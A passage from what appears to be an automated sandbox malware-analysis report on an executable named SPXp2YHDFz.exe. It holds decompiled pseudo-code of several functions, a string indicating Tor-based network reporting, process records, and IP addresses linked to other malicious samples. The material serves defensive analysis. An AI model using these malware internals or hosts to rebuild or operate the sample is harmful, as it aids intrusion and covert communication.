				if (_t25 - 0xfffffffd > 0) goto 0x9baaacc5;
				if (_t174 + _t121 - _t206 < 0) goto 0x9baaac9b;
				 *((char*)(_t186 + 0x67)) = 4;
				_t122 =  *((intOrPtr*)(_t186 - 0x49));
				 *((intOrPtr*)(_t122 + 0x40))();
				_t31 = _t122 - 1; // -1
				if (_t31 - 0xfffffffd > 0) goto 0x9baaacf6;
				if (_t128 + _t122 - _t206 < 0) goto 0x9baaaccc;
				 *((intOrPtr*)(_t186 + 0x67)) =  *((intOrPtr*)(_t118 + 0x30));
				_t140 = _t128;
				 *((char*)(_t186 + _t140 + 0x6f)) =  *((intOrPtr*)(_t186 + 0x6a));
				if (_t140 + _t206 - 4 < 0) goto 0x9baaad00;
				 *((intOrPtr*)(_t186 + 0x67)) =  *((intOrPtr*)(_t186 + 0x6f));
				E00007FF77FF79BAA48B8(_t128, _t186 - 0x59, _t186 + 0x67);
				 *((intOrPtr*)(_t186 + 0x67)) = r15b;
				_t123 =  *((intOrPtr*)(_t186 - 0x49));
				 *((intOrPtr*)(_t123 + 0x40))();
				_t45 = _t123 - 1; // -1
				if (_t45 - 0xfffffffd > 0) goto 0x9baaad56;
				if (_t128 + _t123 - _t206 < 0) goto 0x9baaad2c;
				 *((char*)(_t186 + 0x67)) = 4;
				_t124 =  *((intOrPtr*)(_t186 - 0x49));
				 *((intOrPtr*)(_t124 + 0x40))();
				_t51 = _t124 - 1; // -1
				if (_t51 - 0xfffffffd > 0) goto 0x9baaad87;
				if (_t128 + _t124 - _t206 < 0) goto 0x9baaad5d;
				 *((char*)(_t186 + 0x67)) = 4;
				_t125 =  *((intOrPtr*)(_t186 - 0x49));
				 *((intOrPtr*)(_t125 + 0x40))();
				_t57 = _t125 - 1; // -1
				if (_t57 - 0xfffffffd > 0) goto 0x9baaadb8;
				if (_t128 + _t125 - _t206 < 0) goto 0x9baaad8e;
				 *((intOrPtr*)(_t186 + 0x67)) = 0;
				 *((char*)(_t186 + _t128 + 0x6f)) =  *((intOrPtr*)(_t186 + 0x6a));
				if (_t128 + _t206 - 4 < 0) goto 0x9baaadbf;
				 *((intOrPtr*)(_t186 + 0x67)) =  *((intOrPtr*)(_t186 + 0x6f));
				E00007FF77FF79BAA48B8(_t128 + _t206, _t186 - 0x59, _t186 + 0x67);
				 *((long long*)(_t186 - 0x59)) =  *((intOrPtr*)(_t186 - 0x21));
				 *((long long*)(_t186 - 0x51)) =  *((intOrPtr*)(_t186 - 0x19));
				asm("movaps xmm0, [ebp-0x59]");
				asm("movdqa [ebp-0x59], xmm0");
				r8b = 8;
				E00007FF77FF79BAA45C0(0, _t186 - 1);
				_t93 = E00007FF77FF79BAAA86C( *((intOrPtr*)(_t186 - 0x19)), __rcx,  *((intOrPtr*)(_t186 - 0x19)));
				free(??);
				 *((long long*)(_t186 - 0x49)) = 0x9bab3870;
				free(??);
				return _t93;
			}

0x7ff79baaabec
0x7ff79baaabec
0x7ff79baaabf7
0x7ff79baaac02
0x7ff79baaac0a
0x7ff79baaac0e
0x7ff79baaac25
0x7ff79baaac2a
0x7ff79baaac32
0x7ff79baaac38
0x7ff79baaac44
0x7ff79baaac4a
0x7ff79baaac59
0x7ff79baaac64
0x7ff79baaac68
0x7ff79baaac6c
0x7ff79baaac70
0x7ff79baaac78
0x7ff79baaac7c
0x7ff79baaac82
0x7ff79baaac8e
0x7ff79baaac93
0x7ff79baaac9b
0x7ff79baaacb0
0x7ff79baaacb3
0x7ff79baaacbb
0x7ff79baaacc3
0x7ff79baaacc5
0x7ff79baaaccc
0x7ff79baaace1
0x7ff79baaace4
0x7ff79baaacec
0x7ff79baaacf4
0x7ff79baaacf6
0x7ff79baaacf9
0x7ff79baaad02
0x7ff79baaad10
0x7ff79baaad15
0x7ff79baaad20
0x7ff79baaad25
0x7ff79baaad2c
0x7ff79baaad41
0x7ff79baaad44
0x7ff79baaad4c
0x7ff79baaad54
0x7ff79baaad56
0x7ff79baaad5d
0x7ff79baaad72
0x7ff79baaad75
0x7ff79baaad7d
0x7ff79baaad85
0x7ff79baaad87
0x7ff79baaad8e
0x7ff79baaada3
0x7ff79baaada6
0x7ff79baaadae
0x7ff79baaadb6
0x7ff79baaadb8
0x7ff79baaadc1
0x7ff79baaadcf
0x7ff79baaadd4
0x7ff79baaaddf
0x7ff79baaade8
0x7ff79baaadf0
0x7ff79baaadf4
0x7ff79baaadf8
0x7ff79baaae01
0x7ff79baaae0a
0x7ff79baaae16
0x7ff79baaae20
0x7ff79baaae27
0x7ff79baaae2f
0x7ff79baaae50

APIs

Part of subcall function 00007FF79BAA1720: GetCurrentThreadId.KERNEL32 ref: 00007FF79BAA1743
Part of subcall function 00007FF79BAA1720: GetLocalTime.KERNEL32(?,?,?,?,?,00000000,00000002,?,?,00007FF79BAA88EE), ref: 00007FF79BAA1750
Part of subcall function 00007FF79BAA1720: _cwprintf_s_l.LIBCMT ref: 00007FF79BAA1791

time.MSVCRT ref: 00007FF79BAAAC32
free.MSVCRT ref: 00007FF79BAAAE20
free.MSVCRT ref: 00007FF79BAAAE2F

Strings

tor_socket::send_net_info(), xrefs: 00007FF79BAAAC15

Memory Dump Source

Source File: 00000000.00000002.513438044.00007FF79BAA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79BAA0000, based on PE: true

Associated: 00000000.00000002.513412937.00007FF79BAA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513607536.00007FF79BAB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513720333.00007FF79BABD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513738639.00007FF79BABE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79baa0000_SPXp2YHDFz.jbxd

Similarity

API ID: free$CurrentLocalThreadTime_cwprintf_s_ltime
String ID: tor_socket::send_net_info()
API String ID: 1526019956-2499986577
Opcode ID: 1dc5aad806c9184ddce8a60def2e5c629acf3be9b0421474ad8496ab43df6a97
Instruction ID: afb933241b32c805894fe5e794b628657161ec1d28af9e6d414d111118dd9c0c
Opcode Fuzzy Hash: 1dc5aad806c9184ddce8a60def2e5c629acf3be9b0421474ad8496ab43df6a97
Instruction Fuzzy Hash: 90716D72B04A899AEB10DFB8D4445DCB7B2FB447A8B800275DF6D57BA9DE34E205C350

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF79BAADC14 Relevance: 6.5, APIs: 5, Instructions: 268
COMMON

Download Yara Rule

C-Code - Quality: 39%

			E00007FF77FF79BAADC14(void* __eflags, signed int __rbx, void* __rcx, void* __rdx, void* __r9) {
				void* __rsi;
				void* __rbp;
				void* _t154;
				void* _t156;
				void* _t177;
				signed long long _t182;
				signed long long _t187;
				signed int _t192;
				signed long long _t195;
				signed int _t201;
				signed long long _t263;
				signed long long _t267;
				long long _t272;
				intOrPtr _t276;
				void* _t278;
				long long* _t279;
				void* _t280;
				void* _t281;
				long long _t287;
				signed long long _t288;
				void* _t290;
				intOrPtr _t291;
				intOrPtr _t293;

				_t290 = __r9;
				_t201 = __rbx;
				_t177 = _t280;
				_t279 = _t177 - 0x118;
				_t281 = _t280 - 0x1f0;
				 *((long long*)(_t279 + 0x50)) = 0xfffffffe;
				 *((long long*)(_t177 + 8)) = __rbx;
				asm("movaps [eax-0x38], xmm6");
				_t278 = __rcx;
				 *(_t281 + 0x30) =  *(_t281 + 0x30) & 0x00000000;
				E00007FF77FF79BAA1BA8(_t177, _t279 - 0x70);
				 *(_t281 + 0x30) = 1;
				 *((long long*)(_t281 + 0x40)) = "\n";
				 *((long long*)(_t281 + 0x48)) = 0x9bab37f1;
				asm("movaps xmm0, [esp+0x40]");
				asm("movdqa [ebp-0x80], xmm0");
				E00007FF77FF79BAA1C90(_t177, _t279 + 0x58);
				 *(_t281 + 0x30) = 1;
				E00007FF77FF79BAA1BDC(0, _t279 - 0x70);
				 *(_t281 + 0x60) =  *(_t281 + 0x60) & __rbx;
				 *(_t281 + 0x68) =  *(_t281 + 0x68) & __rbx;
				 *(_t281 + 0x70) =  *(_t281 + 0x70) & __rbx;
				_t276 =  *((intOrPtr*)(_t279 + 0x60));
				_t293 =  *((intOrPtr*)(_t279 + 0x68));
				if (_t276 == _t293) goto 0x9baae086;
				 *((long long*)(_t281 + 0x40)) = 0x9bab53a8;
				 *((long long*)(_t281 + 0x48)) = 0x9bab53a9;
				_t25 = _t201 + 4; // 0x4
				r13d = _t25;
				asm("movaps xmm6, [esp+0x40]");
				asm("movdqa [esp+0x20], xmm6");
				E00007FF77FF79BAA1C90(_t276, _t279 - 0x70);
				_t291 =  *((intOrPtr*)(_t279 - 0x68));
				if (( *((intOrPtr*)(_t279 - 0x60)) - _t291 & 0xffffffe0) == 0) goto 0x9baae070;
				E00007FF77FF79BAA1E74(_t291, _t281 + 0x54);
				E00007FF77FF79BAA1E74(_t276, _t279 + 0x128);
				if ( *((intOrPtr*)(_t279 + 0x128)) != 0xdd1c5811) goto 0x9baadd4b;
				goto 0x9baae070;
				E00007FF77FF79BAA1E74(_t276, _t279 + 0x130);
				if ( *((intOrPtr*)(_t279 + 0x130)) != 0xdb1c53e7) goto 0x9baadd70;
				goto 0x9baae070;
				E00007FF77FF79BAA1E74(_t276, _t279 + 0x138);
				if ( *((intOrPtr*)(_t279 + 0x138)) != 0xdd1c8579) goto 0x9baadda6;
				if (3 != 1) goto 0x9baadd9a;
				goto 0x9baae070;
				_t161 =  ==  ? r13d : 2;
				goto 0x9baae070;
				_t263 = _t281 + 0x50;
				E00007FF77FF79BAA1E74(_t276, _t263);
				if ( *((intOrPtr*)(_t281 + 0x50)) != 0xd51c94bd) goto 0x9baadf6d;
				if (2 != 2) goto 0x9baade8d;
				_t287 =  *(_t281 + 0x60);
				_t182 =  *(_t281 + 0x68) - _t287 - 1;
				asm("dec eax");
				 *((long long*)(_t281 + 0x40)) = _t287;
				 *((long long*)(_t281 + 0x48)) = (_t263 & _t182) + _t287;
				asm("movaps xmm0, [esp+0x40]");
				asm("movdqa [esp+0x20], xmm0");
				E00007FF77FF79BAA24D8(2 - 2, __rbx, _t279 + 0x78, _t281 + 0x20, _t290, _t291);
				 *((long long*)(_t279 + 0x10)) =  *((intOrPtr*)(_t182 + 8));
				 *((long long*)(_t279 + 0x18)) =  *((intOrPtr*)(_t182 + 0x10));
				asm("movaps xmm0, [ebp+0x10]");
				asm("movdqa [esp+0x20], xmm0");
				_t267 = _t281 + 0x20;
				E00007FF77FF79BAA480C( *((intOrPtr*)(_t182 + 8)), _t279 - 0x50, _t267);
				 *((long long*)(_t278 + 0x90)) =  *((intOrPtr*)(_t279 - 0x48));
				 *((long long*)(_t279 - 0x48)) =  *((intOrPtr*)(_t278 + 0x90));
				 *((long long*)(_t278 + 0x98)) =  *((intOrPtr*)(_t279 - 0x40));
				 *((long long*)(_t279 - 0x40)) =  *((intOrPtr*)(_t278 + 0x98));
				 *((long long*)(_t278 + 0xa0)) =  *((intOrPtr*)(_t279 - 0x38));
				 *((long long*)(_t279 - 0x38)) =  *((intOrPtr*)(_t278 + 0xa0));
				free(??);
				goto 0x9baadf54;
				_t173 = ( ==  ? r13d : 2) - r13d;
				if (( ==  ? r13d : 2) != r13d) goto 0x9baadf5a;
				_t288 =  *(_t281 + 0x60);
				_t187 =  *(_t281 + 0x68) - _t288 - 1;
				asm("dec eax");
				 *(_t279 + 0x20) = _t288;
				 *((long long*)(_t279 + 0x28)) = (_t267 & _t187) + _t288;
				asm("movaps xmm0, [ebp+0x20]");
				asm("movdqa [esp+0x20], xmm0");
				E00007FF77FF79BAA24D8(( ==  ? r13d : 2) - r13d, _t201, _t279 + 0x98, _t281 + 0x20, _t290, _t291);
				 *((long long*)(_t279 + 0x30)) =  *((intOrPtr*)(_t187 + 8));
				 *((long long*)(_t279 + 0x38)) =  *((intOrPtr*)(_t187 + 0x10));
				asm("movaps xmm0, [ebp+0x30]");
				asm("movdqa [esp+0x20], xmm0");
				E00007FF77FF79BAA480C( *((intOrPtr*)(_t187 + 8)), _t279 - 0x30, _t281 + 0x20);
				 *((long long*)(_t278 + 0xb0)) =  *((intOrPtr*)(_t279 - 0x28));
				 *((long long*)(_t279 - 0x28)) =  *((intOrPtr*)(_t278 + 0xb0));
				 *((long long*)(_t278 + 0xb8)) =  *((intOrPtr*)(_t279 - 0x20));
				 *((long long*)(_t279 - 0x20)) =  *((intOrPtr*)(_t278 + 0xb8));
				 *((long long*)(_t278 + 0xc0)) =  *((intOrPtr*)(_t279 - 0x18));
				 *((long long*)(_t279 - 0x18)) =  *((intOrPtr*)(_t278 + 0xc0));
				free(??);
				free(??);
				_t192 =  *(_t281 + 0x60);
				 *(_t281 + 0x68) = _t192;
				 *_t192 = 0;
				goto 0x9baae070;
				_t97 = _t201 - 2; // -2
				if ((_t97 & 0xfffffffd) == 0) goto 0x9baae04d;
				if ( *((intOrPtr*)(_t281 + 0x54)) != 0xf61c1b2c) goto 0x9baae070;
				_t272 =  *((intOrPtr*)(_t291 + 0x28));
				_t103 =  *((intOrPtr*)(_t291 + 0x30)) - _t272 - 1; // 0x7ff79baa238a
				_t195 =  ~( *((intOrPtr*)(_t291 + 0x30)) - _t272);
				asm("dec eax");
				 *((long long*)(_t279 + 0x40)) = _t272;
				 *((long long*)(_t279 + 0x48)) = (_t103 & _t195) + _t272;
				asm("movaps xmm0, [ebp+0x40]");
				asm("movdqa [esp+0x20], xmm0");
				E00007FF77FF79BAA24D8( *((intOrPtr*)(_t281 + 0x54)) - 0xf61c1b2c, _t201, _t279 + 0xb8, _t281 + 0x20, _t290, _t291);
				 *((long long*)(_t279 - 0x80)) =  *((intOrPtr*)(_t195 + 8));
				 *((long long*)(_t279 - 0x78)) =  *((intOrPtr*)(_t195 + 0x10));
				asm("movaps xmm0, [ebp-0x80]");
				asm("movdqa [esp+0x20], xmm0");
				E00007FF77FF79BAA480C( *((intOrPtr*)(_t195 + 8)), _t279 - 0x10, _t281 + 0x20);
				 *((long long*)(_t278 + 0xd0)) =  *((intOrPtr*)(_t279 - 8));
				 *((long long*)(_t279 - 8)) =  *((intOrPtr*)(_t278 + 0xd0));
				 *((long long*)(_t278 + 0xd8)) =  *_t279;
				 *_t279 =  *((intOrPtr*)(_t278 + 0xd8));
				 *((long long*)(_t278 + 0xe0)) =  *((intOrPtr*)(_t279 + 8));
				 *((long long*)(_t279 + 8)) =  *((intOrPtr*)(_t278 + 0xe0));
				free(??);
				free(??);
				goto 0x9baae070;
				_t128 =  *((intOrPtr*)(_t276 + 0x10)) -  *((intOrPtr*)(_t276 + 8)) - 1; // 0xdd1c5810
				asm("dec ebp");
				E00007FF77FF79BAA1D58(_t201, _t281 + 0x58,  *((intOrPtr*)(_t276 + 8)), _t278, _t279, _t288 & _t128);
				_t154 = E00007FF77FF79BAA1F00(_t201, _t279 - 0x70, _t278);
				if (_t276 + 0x20 != _t293) goto 0x9baadcea;
				E00007FF77FF79BAA1BDC(_t154, _t281 + 0x58);
				_t156 = E00007FF77FF79BAA1F00(_t201, _t279 + 0x58, _t278);
				asm("inc ecx");
				return _t156;
			}

0x7ff79baadc14
0x7ff79baadc14
0x7ff79baadc14
0x7ff79baadc1e
0x7ff79baadc25
0x7ff79baadc2c
0x7ff79baadc34
0x7ff79baadc38
0x7ff79baadc3c
0x7ff79baadc3f
0x7ff79baadc52
0x7ff79baadc57
0x7ff79baadc66
0x7ff79baadc72
0x7ff79baadc77
0x7ff79baadc7c
0x7ff79baadc8c
0x7ff79baadc9a
0x7ff79baadca2
0x7ff79baadca9
0x7ff79baadcae
0x7ff79baadcb3
0x7ff79baadcb8
0x7ff79baadcbc
0x7ff79baadcc3
0x7ff79baadcd0
0x7ff79baadcdc
0x7ff79baadce1
0x7ff79baadce1
0x7ff79baadce5
0x7ff79baadcea
0x7ff79baadcfc
0x7ff79baadd06
0x7ff79baadd13
0x7ff79baadd21
0x7ff79baadd30
0x7ff79baadd3f
0x7ff79baadd46
0x7ff79baadd55
0x7ff79baadd64
0x7ff79baadd6b
0x7ff79baadd7a
0x7ff79baadd89
0x7ff79baadd8e
0x7ff79baadd95
0x7ff79baadd9d
0x7ff79baadda1
0x7ff79baadda6
0x7ff79baaddae
0x7ff79baaddbb
0x7ff79baaddc4
0x7ff79baaddcf
0x7ff79baaddd7
0x7ff79baaddde
0x7ff79baadde7
0x7ff79baaddec
0x7ff79baaddf1
0x7ff79baaddf6
0x7ff79baade05
0x7ff79baade13
0x7ff79baade17
0x7ff79baade1b
0x7ff79baade1f
0x7ff79baade25
0x7ff79baade2e
0x7ff79baade3f
0x7ff79baade46
0x7ff79baade55
0x7ff79baade5c
0x7ff79baade6b
0x7ff79baade72
0x7ff79baade7a
0x7ff79baade88
0x7ff79baade8d
0x7ff79baade90
0x7ff79baade9b
0x7ff79baadea3
0x7ff79baadeaa
0x7ff79baadeb3
0x7ff79baadeb7
0x7ff79baadebb
0x7ff79baadebf
0x7ff79baaded1
0x7ff79baadedf
0x7ff79baadee3
0x7ff79baadee7
0x7ff79baadeeb
0x7ff79baadefa
0x7ff79baadf0b
0x7ff79baadf12
0x7ff79baadf21
0x7ff79baadf28
0x7ff79baadf37
0x7ff79baadf3e
0x7ff79baadf46
0x7ff79baadf54
0x7ff79baadf5c
0x7ff79baadf61
0x7ff79baadf66
0x7ff79baadf68
0x7ff79baadf6d
0x7ff79baadf75
0x7ff79baadf83
0x7ff79baadf89
0x7ff79baadf94
0x7ff79baadf98
0x7ff79baadf9b
0x7ff79baadfa4
0x7ff79baadfa8
0x7ff79baadfac
0x7ff79baadfb0
0x7ff79baadfc2
0x7ff79baadfd0
0x7ff79baadfd4
0x7ff79baadfd8
0x7ff79baadfdc
0x7ff79baadfeb
0x7ff79baadffc
0x7ff79baae003
0x7ff79baae012
0x7ff79baae019
0x7ff79baae028
0x7ff79baae02f
0x7ff79baae037
0x7ff79baae045
0x7ff79baae04b
0x7ff79baae058
0x7ff79baae05f
0x7ff79baae06a
0x7ff79baae074
0x7ff79baae080
0x7ff79baae08b
0x7ff79baae095
0x7ff79baae0a6
0x7ff79baae0b5

Memory Dump Source

Source File: 00000000.00000002.513438044.00007FF79BAA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79BAA0000, based on PE: true

Associated: 00000000.00000002.513412937.00007FF79BAA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513607536.00007FF79BAB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513720333.00007FF79BABD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513738639.00007FF79BABE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79baa0000_SPXp2YHDFz.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 6f4e75ba364f31909ab5904f65359f556c20f2da1d50462008699cdc3222bc40
Instruction ID: b7ce242d26b90aad549462f720aabb0d3bd5c93d2ec61c10868992ec859a1d1d
Opcode Fuzzy Hash: 6f4e75ba364f31909ab5904f65359f556c20f2da1d50462008699cdc3222bc40
Instruction Fuzzy Hash: F8D14E72608B8595EB20DF78E4806FDB3B1FB99798F504226EA8D53B68DF38D644C350

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF79BAA6248 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 38
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00007FF77FF79BAA6248(void* __edx, long long __rbx, intOrPtr* __rcx, long long __rdi, long long __rsi, long long _a8, long long _a16, long long _a24) {
				void* __r14;
				void* _t17;
				void* _t22;
				void* _t24;
				intOrPtr* _t31;
				long long _t38;
				void* _t43;
				void* _t45;
				void* _t46;

				_t38 = __rsi;
				_a8 = __rbx;
				_a16 = __rsi;
				_a24 = __rdi;
				_t22 = __edx;
				_t31 = __rcx;
				r14d = GetTickCount();
				if (E00007FF77FF79BAAAF0C(_t17, _t24, __rcx,  *__rcx, __rdi, __rsi, _t43, _t46) == 0) goto 0x9baa62b8;
				if ( *((intOrPtr*)(_t31 + 0xc)) == _t22) goto 0x9baa62b4;
				if ( *((intOrPtr*)(_t31 + 0xc)) == 5) goto 0x9baa62b8;
				if (_t46 + _t38 - GetTickCount() > 0) goto 0x9baa626e;
				E00007FF77FF79BAA1720(2, _t22, 0x9babd010, "timeout\n", _t45);
				goto 0x9baa62bb;
				goto 0x9baa62bb;
				return 0xffffffff;
			}

0x7ff79baa6248
0x7ff79baa6248
0x7ff79baa624d
0x7ff79baa6252
0x7ff79baa6260
0x7ff79baa6262
0x7ff79baa626b
0x7ff79baa6278
0x7ff79baa627d
0x7ff79baa6283
0x7ff79baa6293
0x7ff79baa62a8
0x7ff79baa62b2
0x7ff79baa62b6
0x7ff79baa62d0

APIs

GetTickCount.KERNEL32 ref: 00007FF79BAA6265

Part of subcall function 00007FF79BAAAF0C: free.MSVCRT ref: 00007FF79BAAB102

GetTickCount.KERNEL32 ref: 00007FF79BAA6285

Strings

timeout, xrefs: 00007FF79BAA6295

Memory Dump Source

Source File: 00000000.00000002.513438044.00007FF79BAA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79BAA0000, based on PE: true

Associated: 00000000.00000002.513412937.00007FF79BAA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513607536.00007FF79BAB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513720333.00007FF79BABD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513738639.00007FF79BABE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79baa0000_SPXp2YHDFz.jbxd

Similarity

API ID: CountTick$free
String ID: timeout
API String ID: 3830800293-743945614
Opcode ID: 1a972a96e72483270e8f6d9aa377eddd671f85c29f06e56263f49e34887d43c7
Instruction ID: cad2e0cf4917a5f12baa727509fe6cc4c79c3aac44e7e6f14c6703154db8c3c7
Opcode Fuzzy Hash: 1a972a96e72483270e8f6d9aa377eddd671f85c29f06e56263f49e34887d43c7
Instruction Fuzzy Hash: 2B018031908A4685E770AB3DA410979B3A1FB44790F844136E95E836A9CF3CE645CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF79BAA3190 Relevance: 5.2, APIs: 4, Instructions: 154COMMON

Download Yara Rule

APIs

memmove.MSVCRT ref: 00007FF79BAA31DF
memmove.MSVCRT ref: 00007FF79BAA3218
memmove.MSVCRT ref: 00007FF79BAA3232
memmove.MSVCRT ref: 00007FF79BAA3393

Memory Dump Source

Source File: 00000000.00000002.513438044.00007FF79BAA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79BAA0000, based on PE: true

Associated: 00000000.00000002.513412937.00007FF79BAA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513607536.00007FF79BAB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513720333.00007FF79BABD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513738639.00007FF79BABE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79baa0000_SPXp2YHDFz.jbxd

Similarity

API ID: memmove
String ID:
API String ID: 2162964266-0
Opcode ID: 45b4c8236809fc29ccc3155e53ebf31e52c0ebad5e8118ffd3d65269fcb8fb40
Instruction ID: 495a694bfbfaef7590d46d78ccb1bddc54bf425479427f5c553768f6941174b4
Opcode Fuzzy Hash: 45b4c8236809fc29ccc3155e53ebf31e52c0ebad5e8118ffd3d65269fcb8fb40
Instruction Fuzzy Hash: 97719E32B05B9996EB68DB79C540BACB3A5F704B54F548236CB2C137A0DF38E566C360

Uniqueness

Uniqueness Score: -1.00%

Target ID:	0
Start time:	10:59:09
Start date:	24/10/2022
Path:	C:\Users\user\Desktop\SPXp2YHDFz.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\Desktop\SPXp2YHDFz.exe
Imagebase:	0x7ff79baa0000
File size:	119306 bytes
MD5 hash:	93CFE55BF738E084CD73BC7BF27AAAA8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Target ID:	1
Start time:	10:59:09
Start date:	24/10/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff745070000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Target ID:	2
Start time:	10:59:19
Start date:	24/10/2022
Path:	C:\Users\user\Desktop\SPXp2YHDFz.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\SPXp2YHDFz.exe"
Imagebase:	0x7ff79baa0000
File size:	119306 bytes
MD5 hash:	93CFE55BF738E084CD73BC7BF27AAAA8
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low

Target ID:	3
Start time:	10:59:19
Start date:	24/10/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff745070000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
171.25.193.9	ILI1MGzcig.exe	Get hash	malicious	Browse	171.25.193.9/tor/status-vote/current/consensus
	lwRhzjuYIg.exe	Get hash	malicious	Browse	171.25.193.9/tor/status-vote/current/consensus
	OVrJ9mtD6Y.exe	Get hash	malicious	Browse	171.25.193.9/tor/status-vote/current/consensus
	F75rJPKdGb.exe	Get hash	malicious	Browse	171.25.193.9/tor/status-vote/current/consensus
	ozJy5Zf5cf.exe	Get hash	malicious	Browse	171.25.193.9/tor/status-vote/current/consensus
	zfpLjnr5P9.exe	Get hash	malicious	Browse	171.25.193.9/tor/status-vote/current/consensus
	kecFPnbu5K.exe	Get hash	malicious	Browse	171.25.193.9/tor/status-vote/current/consensus
	SecuriteInfo.com.Trojan.Kronos.21.31435.exe	Get hash	malicious	Browse	171.25.193.9/tor/status-vote/current/consensus
	530000.exe	Get hash	malicious	Browse	171.25.193.9/tor/status-vote/current/consensus
	6d0000.exe	Get hash	malicious	Browse	171.25.193.9/tor/status-vote/current/consensus
	6729001591617.exe	Get hash	malicious	Browse	171.25.193.9/tor/status-vote/current/consensus
	NNrUb9Avaw.exe	Get hash	malicious	Browse	171.25.193.9/tor/status-vote/current/consensus
	taugif.exe	Get hash	malicious	Browse	171.25.193.9/tor/status-vote/current/consensus
	9WajXSHVwg.exe	Get hash	malicious	Browse	171.25.193.9/tor/status-vote/current/consensus
	62ea.exe	Get hash	malicious	Browse	171.25.193.9/tor/status-vote/current/consensus
	00.exe	Get hash	malicious	Browse	171.25.193.9/tor/status-vote/current/consensus
	.exe	Get hash	malicious	Browse	171.25.193.9/tor/status-vote/current/consensus
	bill4759.doc	Get hash	malicious	Browse	171.25.193.9/tor/status-vote/current/consensus
	bill notice 05.2019.xls	Get hash	malicious	Browse	171.25.193.9/tor/status-vote/current/consensus
	22FLJ9.js	Get hash	malicious	Browse	171.25.193.9/tor/status-vote/current/consensus

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
c12f54a3f91dc7bafd92cb59fe009a35	ILI1MGzcig.exe	Get hash	malicious	Browse	167.86.119.184
	ILI1MGzcig.exe	Get hash	malicious	Browse	167.86.119.184
	details.xlsb.xlsx	Get hash	malicious	Browse	167.86.119.184
	Invoice_10-05_order_146_PDF.iso	Get hash	malicious	Browse	167.86.119.184
	Invoice_4102_october_PDF.img	Get hash	malicious	Browse	167.86.119.184
	Invoice_6341_october_PDF.img	Get hash	malicious	Browse	167.86.119.184
	CWCfD02PFw.exe	Get hash	malicious	Browse	167.86.119.184
	CB5673829281E1EFCFBCF947483F040EAEB640316ED93.exe	Get hash	malicious	Browse	167.86.119.184
	09dCW6CAG6.exe	Get hash	malicious	Browse	167.86.119.184
	vf7vtEsWBg.exe	Get hash	malicious	Browse	167.86.119.184
	EeJnSnmVsg.exe	Get hash	malicious	Browse	167.86.119.184
	notice-130722.23554.img	Get hash	malicious	Browse	167.86.119.184
	document-130722.10498.img	Get hash	malicious	Browse	167.86.119.184
	dropper_cs.exe	Get hash	malicious	Browse	167.86.119.184
	Invoice_09-19_unpaid_50_document.iso	Get hash	malicious	Browse	167.86.119.184
	1F572BDC073599EC7FB037CDB5017A0831FC7B130B80A.exe	Get hash	malicious	Browse	167.86.119.184
	5B649C7D861FEAC190194118362AACA996BC2FAE5FF6F.exe	Get hash	malicious	Browse	167.86.119.184
	Invoice_6-27-273.iso	Get hash	malicious	Browse	167.86.119.184
	SecuriteInfo.com.W32.AIDetectNet.01.23258.exe	Get hash	malicious	Browse	167.86.119.184
	URGENT NEW ORDER.exe	Get hash	malicious	Browse	167.86.119.184

Target ID:	7
Start time:	10:59:27
Start date:	24/10/2022
Path:	C:\Users\user\Desktop\SPXp2YHDFz.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\SPXp2YHDFz.exe"
Imagebase:	0x7ff79baa0000
File size:	119306 bytes
MD5 hash:	93CFE55BF738E084CD73BC7BF27AAAA8
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
